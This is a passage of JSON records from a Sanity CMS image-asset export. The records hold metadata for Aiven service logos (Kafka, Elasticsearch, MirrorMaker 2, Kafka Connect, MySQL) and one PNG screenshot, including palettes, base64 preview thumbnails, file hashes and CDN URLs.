J/YLB+XlXy+K1tsPXwbbDhbkgY1BHqis54FkSOirx4Qfm4UfW4QPI8/WU+L9Tjyzuwm7S7zYI1z4P3S9qJFH7U+NgvrJJVA3sFpeXVTLAyLIA1o9D2RCvACl49yHbSUBDG8P4o9P1WBY8WJUuLEHClBcz3Q1AVp6GDT1Atj5KKhFrHWTl9XwQHEtD5StQ5Mhri/loc3CTy3go1Pgow7wUpfwUL6oQqb59oVzqh8cagK0J/L3tE+4GavlAWZ7vOY/aH7SynquR45wPd0o/IvNwr/SInxrp4R3rVCU8CxGhTsVE67wz8K5r3D6hKN4qNTJEuBgrJoHCtBW8LDaTdVF+Z3Wcb28gevqUa4PNAp/tln4lvNFnRLe253C0x8Wbmu3cO+ICdeGODiLLpbaH11+obF/AcfCnT3S0Y7AAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543c64","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#690933","foreground":"#fff","population":0.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e9287f","foreground":"#fff","population":7.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#821660","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb8bcd","foreground":"#000","population":0.59,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad5289","foreground":"#fff","population":1.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9287f","foreground":"#fff","population":7.1,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-kafka.svg","path":"images/sczeoy4w/production/184cb33e057478405636d30b72f56c94f88ca103-64x64.svg","sha1hash":"184cb33e057478405636d30b72f56c94f88ca103","size":2925,"title":"Aiven for Apache Kafka® logo","uploadId":"wCTD0f6KgA429EVpMLgsq6OtegWJgbSc","url":"https://cdn.sanity.io/images/sczeoy4w/production/184cb33e057478405636d30b72f56c94f88ca103-64x64.svg"} {"_createdAt":"2022-07-06T08:12:05Z","_id":"image-0546055e4535c6e6c8bfb8bf169e2c9cda77902b-64x64-svg","_rev":"qkpX9b3U0TpOGFQp9fOwky","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:22:32Z","altText":"Aiven for ElasticSearch® logo","assetId":"0546055e4535c6e6c8bfb8bf169e2c9cda77902b","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFVElEQVQ4jTWU6W9UVRiHzwBlETG2WoSooESWmpbFQCxaQgkNFAoBhMQKRbYKLU0Bl0QTDUtpVD74B5iY+MUPxrQz05m5c2e790IUAVlKK4gtQZi777fMtNOZ6cz7mtsp58v59uT3nvf3HLKeUkhtWCHVlEkaIrJna0SuaIrKm3bFpIt74xLbHBfFloQ4fpgRM8cYQTzOCkw7y3d1sHx9J5cs77zMe5ppkZzikuRTLknI+rBK6oIyqaPVsvqIsnxzRGlvjMq9O2Ly8O6YNLIvLuWa42KxJSEWDzNCrpURnBMsP3SS5Xs7Ob7tFJdcdppLlp3l/pmEku1xmawNq2W1YXVVHa1010eUgYaIMtYYlXFHTMYP4hLuZ2Q8yEr4MSPiYUbAVlbANpYf6+D4gU6O7z7N8atOc3zZgUSSkOqQ5llDacvWhdXu2rD6sI5WCvURBRsiCmyPyXDoigpdd0z4rt+Ejt8VOMiIcJgR4JMStNDB8Q87Of6im7STTXpIVUivqKG09jWUNrA2rBZqaRU20CrUu8C4gl/dtICRxuAPJQPdd0xoYSRsSYhwhBGglRVgCuombevk+HKyNKjXV4X03mpKG1tNabgurMJ6WoX3aQUb4yqc77fxlpHFQSuLPwza2MLK8FFCdMefTNrKlMY/yfI9HSy/kSwJ6l1Lg/rQipCO1ZQGqykN1oU1fI9WYVtCw7P9Dl7VxnF4JIe/PkrhF9d1/PyaBl9e17DtivwsKZ5ghaF2lr9AFgUM5s2g4bwV1HFFSId3aB2bOBNar9n4xS0HfxxK44Cdw6f5Iv47ksOex2mk+FGMC6Nwqd/Eo6wEU4tyjrNCgiwMGOLrASP3RtDAFZQBW1gLLgymMCyN42U1i9f0LCZHJ3AkV0RhdAIHrCzy6QlMpvP40wMHjnIyHEiIeIQRcscYQSCVfWZmYcAsvhYwsJo2ofXGCHiFcZQyBdTGC3jPyePfTh4fpVzIBD5K5XH4aR4T0hieu23CfkaG5riIBxNi8RAjZEiF3xyv7DOLr/QZ+DZtwmf9Kbhp5TFTALRzRfxTz2JIzEyC0/niZNIb+jh237WxmVVgT1yCfXEJmxNi8UBCzJAX/JZY7jdzL/eZuDhkwr6rbsIsCmMF/C89gVF5HHv5DA6nJrAAgEUAvO/k8NwdG3fGFWiKyrAnJqFr1IdxUSRzfRY7z2+NlPstrOwzYTltYevNFISkLA44ebxm5PCunUcnV5yEuedxegK/HXSgKa7g1qgMO2My7o5Jzt64xJDZPuvicz5reJ7fwnK/CS50E+fgz48zcNvO43Uzh8nRAhaKJViuAHhdz8KZvyxsiCrQEJFhW0nToV0xqYuUea36WT67d47PGitBLVgZteFMfxovPRiFbwbT+MuTDN4fmcAnowU3MXx/L4U7WR020ApsKmnqut/TFJU3kuleu2KG126f6bMH5viswvN+C+YHLKiK2LAqauHKiAWNl204ffspfD2QghM3HNzCGPAurUFtWIUp9+9ujihtWyNyOZnudTzTvPbyGV67e6bXfjgFxRf9JrzUZ8KCPhMWBQ1wO7qSNqAmrENNySicdD+sDtfRStdGWlnWQCseMr9PJZ5eu2ya1141CS0lfTa+uyhcEDDx1YCBiwMGThmFNZQ2tobS7q4Lq121YXVlHa2UraY04o5MyG8jz6Bu0vZZPqt3alGOWym3p275XaNcTV33q0J6Tw2lnXC/vrWUWrYhIpPasEoI6XEmoZVBzb097pu6i5rts7rm+izG7WmF38yUjDKERQEjsSSon18a1DdWhbTympDq2RJVyXpaJbWUQv4HWntltqHjCCMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#335d68","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b3f5d","foreground":"#fff","population":1.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0db0ec","foreground":"#fff","population":9.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4dccc","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5fc2f4","foreground":"#000","population":0.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6492b5","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0db0ec","foreground":"#fff","population":9.99,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-elastic-search.svg","path":"images/sczeoy4w/production/0546055e4535c6e6c8bfb8bf169e2c9cda77902b-64x64.svg","sha1hash":"0546055e4535c6e6c8bfb8bf169e2c9cda77902b","size":2476,"title":"Aiven for ElasticSearch® logo","uploadId":"5tZbOxpGlVIcOLy4ikicmankXwGEEoDG","url":"https://cdn.sanity.io/images/sczeoy4w/production/0546055e4535c6e6c8bfb8bf169e2c9cda77902b-64x64.svg"} {"_createdAt":"2022-07-06T08:12:04Z","_id":"image-4b2aa595510520d455581c85f9f96e2cba83a3cd-64x64-svg","_rev":"qkpX9b3U0TpOGFQp9fOXhQ","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:18:49Z","altText":"Aiven for Apache Kafka® MirrorMaker 2 logo","assetId":"4b2aa595510520d455581c85f9f96e2cba83a3cd","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFgElEQVQ4jVWUeU9UVxjGD3/wAfQzyFkuVaQuqbUVrTU1bTVNW2uttY1JWzWtVRtjozPAnTt39rmjLLKIZRFFhWEJKAjOMCgBQZABkWVAEDsIjEPEpgFDAu/b3Klt2i/wy/O8z+8cEmBmEuAqqVulkE6uxHVxZWUPN217yGXzAJebQzx98rFIezUhUhfCInXymWT0z0hGJSIZt0aFYUWUn457vFYlUWEgL8RpQlqESgLSGXKXq/Ft3Mw6uHKkmyuVQWEa6Rfyy0EhL46I9OUxkbY8IVIXw8I4NyWMoYgwVD6XDIejkoHOijPxf646TaKSgZCe1SbiY5b4AFeT7nJVbefmvk6uzHdzEwaZjP1cxkGejiGehuNvyPj7RgtObbLizJum+UiisS8qDOqsZEjSoaOSQkg9s8Y1MSv1cYsa4OpoK1eX2oUZu9ZYoe8dDQZ3ZMBwigbDSWYYXW+BZ98UwuyvXni+Nw9nkuWlCDeMRiWDeVYYaFSciSN13LaynlmPNDJrn49blgJchba1dujdnQ8jP5Xj+MkqmDheAWN7C2Dso2yYkevwj2td8MJyEyK7MmEmSV6KCENfrL4wrCA13L61jtsq67ltvpFb0S9ZoXNnLgyfrMbhoxUw8GUhjvxQhhOnqjB8qgpnrA0we74FX+QEYPaUF6a3OHBaGOcjktEbkQwpxMvsSjWzhWqpDW8mWMC/wQP9J6rxse02PNidj53rHNi7IwuH9hXi2KEyfPpzOU6l1kLE2oDTP5ZB+G07TAojTknG0LQwmsh17vRXrXHP1SZr2LDOA217ijHkboZh5Rbe25qJHe+ew4FvS3Hg84s4+Ek+jh4oxiffXcbxz/JhbLNTHwqeilQMi9S5Z8LoI2XCNVm7LXcxsO8ytn9fDj0na6HnRA12fFGMrVsysWd/CY47fThubsAJUz2OHavAge3n8NFqMw4KGUZ4OoyJNPxbqdQwKeWuhaotucuBg9fx3rEaaD1QBr7tOXj3wwv44PtrOHjmBobS63Ek9QZOaH4cPVaBwQ0ODFIZ+yUTxKAiHV97ukCKmOtVaaK2XLExE2s2Z0N1sgf0+u0Hr+KQsxl7j1Zi2/vn8d72bOzdV4zBXXnYtdaKMU+5Cfq5rENRl/+xSFsgF6l7spC6FksSnHiZOuAqdUBlogsDe0qwL60B2/eWYFOiHf3Cim2bz2Lw0wJ8tL8Y+z/OxeA6O/SKGFSvv6g/U3KBas0XmftlEXPjJe6CK9yF15gD6jZnY/thL7Z/fQUbk914O8mJ3V+V4JOMFox4gxjOaoGh/cUYTLZBkJuwX8hzA1z2k1yqmfOpNlLA3FjE3HCJueAKdWL5Gg0adhagf9dveHOtG/0p2ThkbsSp0vs4U9YF05fv4xO1AXrfy4BYfWEKPRSyQs5TbWsO1SrzqDb/Pyh3YflqN1QlaVgtHOjbkafrhM+K7sFkbitOFXfAhOaHng/OY+ztC8UbFKYUkk09K7Op50gO9fTlUW2pgLnhXyhzxupXMDvceCsDuo/XQLisG6ONgzB1tRsGT1RBxyZtqY2bezuF+XCXUFaQLHo2Lot6WDb1qDnUM/oa+p+kTtChXskJt7bnQveJGhhyNUPfL9X6+kt3Eq0jd7mqtAmVdnAljpQmOEkm9cRnUU/Sa6ieNFa/UB+KufB1UvRKTqxb58FbmzKwab023yTZe33MogS4uqaVq/G3mJ2QLOohplWZ/0D1pEf0m+pDXWTuuSLmXrzEXMtXmHP5GnMsVlD7XFWCLVSbYPXWM+uhJm6l+n96J9lBAtxCyFnqiUFLuYNkJZyN02+qD5VLNeUC1fy6p0XMtXCJuRbKuDN8nTt9lcIh10iOlBuSfUW9sMW1J5pJi2QhAaaSvwDyb61frvRUxwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c2c48","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#690833","foreground":"#fff","population":0.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e9277f","foreground":"#fff","population":7.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#88105e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f188cc","foreground":"#000","population":1.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b45289","foreground":"#fff","population":1.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9277f","foreground":"#fff","population":7.69,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-kafka-mirror-maker.svg","path":"images/sczeoy4w/production/4b2aa595510520d455581c85f9f96e2cba83a3cd-64x64.svg","sha1hash":"4b2aa595510520d455581c85f9f96e2cba83a3cd","size":4053,"title":"Aiven for Apache Kafka® MirrorMaker 2 logo","uploadId":"8bwjFCgod23LEcLk56QhZQIa3oudWE3Q","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b2aa595510520d455581c85f9f96e2cba83a3cd-64x64.svg"} {"_createdAt":"2022-07-06T08:12:04Z","_id":"image-685613765c01f84c2db04678b0d4629ede9947ad-64x64-svg","_rev":"qkpX9b3U0TpOGFQp9fOYdg","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:19:06Z","altText":"Aiven for Apache Kafka® Connect logo","assetId":"685613765c01f84c2db04678b0d4629ede9947ad","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFgklEQVQ4jVWUeU9UZxSHX/7gA+hnkHe5qIC0JtZWbF1ibGyaNFZNV5NaNbW1psZGZ4A7d+7scwdlRygIKCIMS0FAcIZxKQgKzCBCmUEoFgRGqHQJNCRwTnMpbdov8OS3nUMCzEwCXCWNGxTSzZWYR1xZ38dNbz7msnmQy+1hnj75VKT9OS5SFydE6uRzyeifkYxKVDLunBWGdbP8fMzTRJXMCgN5Kc4TckeoJCBdIPe4GtvBzayLKyd7uFITFKbIgJB/HRLyUkSkr4yKtJVxkbo0IYzzU8IYjgpDzQvJcGJWMtA5cSH2jw3nyaxkIKRvk4n4mCU2wNWEe1xVO7m5v5srCz3chEEm4wCXcYinY5in4dhGGX/easGpbVac2WJaiMYb+2eFQZ2TDAk6dERSCGlm1pg2ZqU+blEDXB25z9XlTmHGR5ut0P+6BkN7LsFwigbDCWYYecUCzz8uhrlvvfDiUD7OJMnLUW4YmZUM5jlhoLPiQgxp5Lb1zcx6spVZ+33cshzgKnQk2iH0TgFETlXh2NlaGP+6GkYPFcLo29kwIzfib5UP4aWlCaIHMmEmQV6OCkP/qn1hWEfquX1nI7fVNHPbQiu3ol+yQve+PBg+W4fDX1bD4OFijHxegc/O1eLEuVqcsbbAXM4dfJkbgLlzXpje4cBpYVyISkZvVDKkEC+zK3XMFm6gNmyKs4D/VQ8MnKnDp7bb0PtOAXYnOzC0Nwt/PFKMo8cr8NlXVTiV2gBRawtOf1EBE6/ZYVIYcUoyhqeF0URucKe/drN7viFJw5ZkD3QcvIJhdzsMK7fwwc5M7HrjIg5+Uo6DB4tw6N0CHPmoBH/6rBzH3iuA0e1OvSh4JlJxQqTOPxdGH6kQrsmGN/OWAkeuYuexKug72wB9Z+qx6/0reH9HJvZ9UIpjTh/+ZG7BcVMzjp6uxsFdF/HJJjMOCRkiPB1GRRr+PanUCVLOXYu1O/JWAkdv4IPT9XD/owrwvZWL9/Zfxt5jlTh04SaG05sxknoTxzU/jpyuxuArDgxSGQckE6xCRTqu7XSRlDDXn+Xx2kr11kys354NdUkeaEjUsPPodfzR2Y6hL2uwY3cOPtiVjaEjVzB0IB8fJdmwRygYEiYY4LIORX38T0XaIimi7sli6loqjXPiVeqA69QBNfEuDBwsxf60Fuw8VIpt8Xb0Cyt2bL+Ife8W4sDhYny8PweDyXZYg+r2l/QzJZep1l7E3L+WMDeWcRdc4y6sZA5o3J6NnSe82PnhNWxNcuPtBCf2fliOY1o7TpV242TOXRj+tAyDW2wQ5CYcEPL8IJf9JI9q5gKqRQqZG0uYG8qYC65RJ1Zt1qBlXyH6D3yHTYlubE/JxmHbbZyu6sNf/GH4PTiBzwt+gNCuS9DDTBgUpvBjISskh2o7c6lWk0+1hf9BuQurNrmhNkHDOu5A3958jGTcwZmqPpi/O4KLY3MwXdkLwX052M2UhR6heIPClEKyqWd9NvWczKWe/nyqLRcyN/wLZc5V+9XUDk3bMqH3m+/h2ZVujDYOwIuWIQinN0PXa57lDqaEuiXziUdCWUeyaEZMFvWwbOpRc6lnZA36H6VO0KHeeBe07s6Hh6dq4ElaC6y2vyd3+e5GW+QeNysdkkq7uBJDyuOcJJN6YrOoJ2ENqitdtV+sF8VcuKYUvZITG5M9eGvbJWxL1hbaJFvIxyxKgKub73M19hazE5JFPcS0IfMfqK70pJ6pXlQRc8+XMPdSGXOtXGPOlUrmWKqm9vnaOP32rd5mZj3exq1U/6d3E+0kwC2EZFDPKrScO0hWXEaMnqleVB7VlMtU8+s7LWGuxTLmWqzgzokb3OmrEQ65XnKk3JTs65qFLaYz3kzuSBYSYCr5CwjZrxZo1MuZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c2c48","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#690833","foreground":"#fff","population":0.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e9287f","foreground":"#fff","population":7.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#87115d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef87ca","foreground":"#000","population":0.71,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a0e46","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9287f","foreground":"#fff","population":7.74,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-kafka-connect.svg","path":"images/sczeoy4w/production/685613765c01f84c2db04678b0d4629ede9947ad-64x64.svg","sha1hash":"685613765c01f84c2db04678b0d4629ede9947ad","size":4024,"title":"Aiven for Apache Kafka® Connect logo","uploadId":"mVCY2oS97QEfeUUGDwski9Pouu3m9dxp","url":"https://cdn.sanity.io/images/sczeoy4w/production/685613765c01f84c2db04678b0d4629ede9947ad-64x64.svg"} {"_createdAt":"2022-07-06T08:12:07Z","_id":"image-8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64-svg","_rev":"oamrAPLmQLQjd9jh7h936c","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:19:54Z","altText":"Aiven for MySQL® logo","assetId":"8443a7ce7f5ba06083c450ba0cce89a7151849b4","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFAElEQVQ4jX2U3U+TZxjGHw4a3+e5y6czujlHoq7MZZkhm9FkmdZly2KmcztYsiw72JmajaISxhBBKLVAW776RWl9aWn7KvQDKiBKbUshQAVRaXcEHso5noAhgedeXijEeLB/4Jf7eq7f9RDaMkjAMEhIrZ/kmh/lKC3RIrDG1GAfb2SOiQQ4p5bhTuoN9MyugWd+GbzP4+Bb0II/rQYpUwhSJgfc80QpZQhIaUKYYZDktQwTMA0pWOtICW0fvUI7x8LMGlsC+/hr6J5cB9f0JoipTXDPrUPv/Ar4XiyCfyEMUuYySBkV3M0olN4lAtK/hOzpfExYc1jBDIPHwTSky21/kM4zP1oFSxSpNYbUPo7gmERwTSOIKQT3HELvMwTfi1Xwp9MgZXQgZY6DlFGA+ykhVHcvB/RBFW0KN+ab7r884ohulHomUCUm+X5HgufbExzs45w5Jjm4pjmIKQ7uOZ6FboA//RKkTKN8qdKfziFUKxUxXd8V4XYg/V5rZOO0N8l/jczxiwNz/Gz/E/xCmuEfiZM8z5HcgeIOVNn7jGehC9n4hYTW+9RMK4Vp473VwpYQfnknys/3T/Pv+6bxXDDFLww8xW9DT/GYdxoLuifwXSjsxl8IgZQ+Q2idR8vqvYtMKyHT9fFD7RH+lSeOpzwJfswZw0/FBKr7UnhuYB4/8838H3QR/AsNhN4U47TWs8LqvSg0+HlBUwBLux9uQQ9ZRlHZOowf2qN4tj+F5wef4ceeKVR2Jd+F4lb73ucxQm+4lmmNuM5q3UhveTloJX60I4JnPHE8ahtFMESQmYbwcHcMLwzMoTo4h/u6k8jk9rt3i5LbXwfP/CtCqxxrtNq5yWpEZLVuLkOLTSH8uieKJdYHmGcYQNoyiAVtI3jKO4k/R+axxD2JzBqXoTwLlS/dlOUntNL2hlZ1bbJqJ9IakbM6Dy82BPCbnjFUux+jyjqC+YbBLejhrjG8ODCLcvsHHAkEa3xLqaynm3AntUZohWWZVtrWaVUXsmonZzUi/0B/F3/ojeKfw7P4490kHmyLoNAUwqK2ITzZm8QL4Vk84Z/Cg85xnrftqSz/OjinXhHhemeCVphf00obsioHp9VOLKr38FP2+/hbfxLPeWN4uCOCuU1BZM1h3N8xjKU9Cfyuf4ar+1N4RJzgufaEHH8FHBNxIlxt1wrXOpZohRlppY3Tqi4ON1y4r6GXF7f0YbExgO8bgpin70eqD2xBiy2j/OfwE/xj9AU/4Z/iBbYYMmtsEezjDUQob1ULV9vC9FrH6ttQmn1TqPNgboMPYdtTpLcD/FDnMP4UnOG/D83zUk8SCyxjq8w8FgJr7AwRNKYiQWO6IpS3pum19g1aYeYylFV18Z2iaLZ9ppU4bbyH+c0hrrKN8pPuBD/mim3sNT9cYO0PLyst0UIilBlzhDJjiaAx6YTy1pdZ6O6lO0XJSrH6XSgHfQD3miIbBzpGlvZ2jGhZ24hK/k8J/cdFhDKDQigzHhc0pkahvC39VnyU25fjy57SWjeyW16UZypvn94OLLDmsFZpjHyubB1SkEqREEFjJPTS3ztQlaAxXZbfNFvUSlapTVl+eVHyTOn29kNM13eJ6oMqhT6o+ESMkzzjfUKEv5oJ1RjJnmoHoXJ8jalwu6h2rXC9M571dG17Ua5X9Kb4mNZ56mm97zTVSoUF+kDOL4/SRGmMEKILkv8AmJRM0mP2T3wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34343c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#077897","foreground":"#fff","population":9.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#077897","foreground":"#fff","population":9.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#127086","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b6e9f5","foreground":"#000","population":3.96,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#057193","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#089ac8","foreground":"#fff","population":6.81,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-mysql.svg","path":"images/sczeoy4w/production/8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64.svg","sha1hash":"8443a7ce7f5ba06083c450ba0cce89a7151849b4","size":2271,"title":"Aiven for MySQL® logo","uploadId":"Lf2i5NlQvwnMx3HcoHyOchboUDYNW3VM","url":"https://cdn.sanity.io/images/sczeoy4w/production/8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64.svg"} {"_createdAt":"2022-06-15T20:02:33Z","_id":"image-637fb0219c35234791950b9103d5470638e1a56f-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8FJZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:31Z","assetId":"637fb0219c35234791950b9103d5470638e1a56f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSP~~A*0xCIo-;GJRPt3slog-mR4Ioxvn$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADEklEQVQokVXFW2/aZhgAYP+9SdMue7HuopNWTZumNtvFNPW0TWpGMuUiS7NkZ5qFLYGRNE1pIjXNAUw52w4QiG3wATAY/H02BkwSQnjfqu3VLh49jKqZX4lyzS9XGxtVtflfRTHCb1SV5ttFuRYW5XpYq7XDbasfJvYw3CGDMC+UwwuPlrZmZue2kml+k9DeY0rdO4yQF/+MsRn5KJZyYvEMYeNZyr7K0mRaoDn+hGZzRZrLFagoabRt9ajbv6Ady6WvElm6sLBo+3wzlI2yDmlblS4hK8xxXgyx8Yx9cJTAw2gSj2Kpt9LZApZEHfNlA7m8hsrpCTpGCc96BE2zg9vbEZyensaff5rHfCaJrll3vHb9CaPXO+sVxbBEuYaSXJ9IlTq8UdXaUFD68Iy/gFDcAS55AETwg6MnQDotwdLSMkxN3Ya1Vf+krUs4onV7ZEoRxqJe0KIesaiHFvWg825sWR4mpDNcOrjEuUgXIy9ZLMb+xjL3ArOZNP62vIz3p6Zwe8UPVuUUz626e2kp+wyxh0FiDwmxh0jsIRDbQ2oP0CI9lGsu7gs2bkZV3NmL4u6zEL588RxZlsWIfwWf3PoSMw/ugRb4HZvR3X6vUUkxxPaCxPYIoQOktD+xiQsOsaFrdcDttMBq6KCWeOAP12BnzQehwC+wubEBz+fngbv5MTQ/uw7Nbz5CdfFOv1NIpBlKekFKXMsmDjoWmbiWCf2OAV5bh3OzChctEc5rHHQL61Dc/QG2/n0E/wRWYXXWB+GbH8LBJ+9PkrfeQ2Hu824rHdlnuo16iOoqtXQFu4aCQ1PBc1PGUauM42YRr4xjBIPDiR7FbmkHJe4QM6kEPl0P4B/ff4F/ff0BBr+9hrHHD11T2NtjBnJ+kZY43ixzmqPmpQvjRBo3C9LEECQwOAmMnASNd64MoTIiqtqjpiblk1p6y6fxgWtaMXSjUT369aQrxgPMmVa8PqgKD1yFnx7qwv2xIdwFg7sLRu7/Gtl72OS/QyL5oN+avSTV2ZG0OXuVuv3jFXtjfny8PDNW45++Bvun1gdCrIFXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#462d27","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#874c3d","foreground":"#fff","population":0.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3ae25","foreground":"#000","population":2.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbbec0","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64a4f9","foreground":"#000","population":1.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#917d5a","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3ae25","foreground":"#000","population":2.65,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"637fb0219c35234791950b9103d5470638e1a56f-1567x844.png","path":"images/sczeoy4w/production/637fb0219c35234791950b9103d5470638e1a56f-1567x844.png","sha1hash":"637fb0219c35234791950b9103d5470638e1a56f","size":527997,"uploadId":"PNqnQbxordUM1zfvfSSUTzYLdZFfmZOK","url":"https://cdn.sanity.io/images/sczeoy4w/production/637fb0219c35234791950b9103d5470638e1a56f-1567x844.png"} 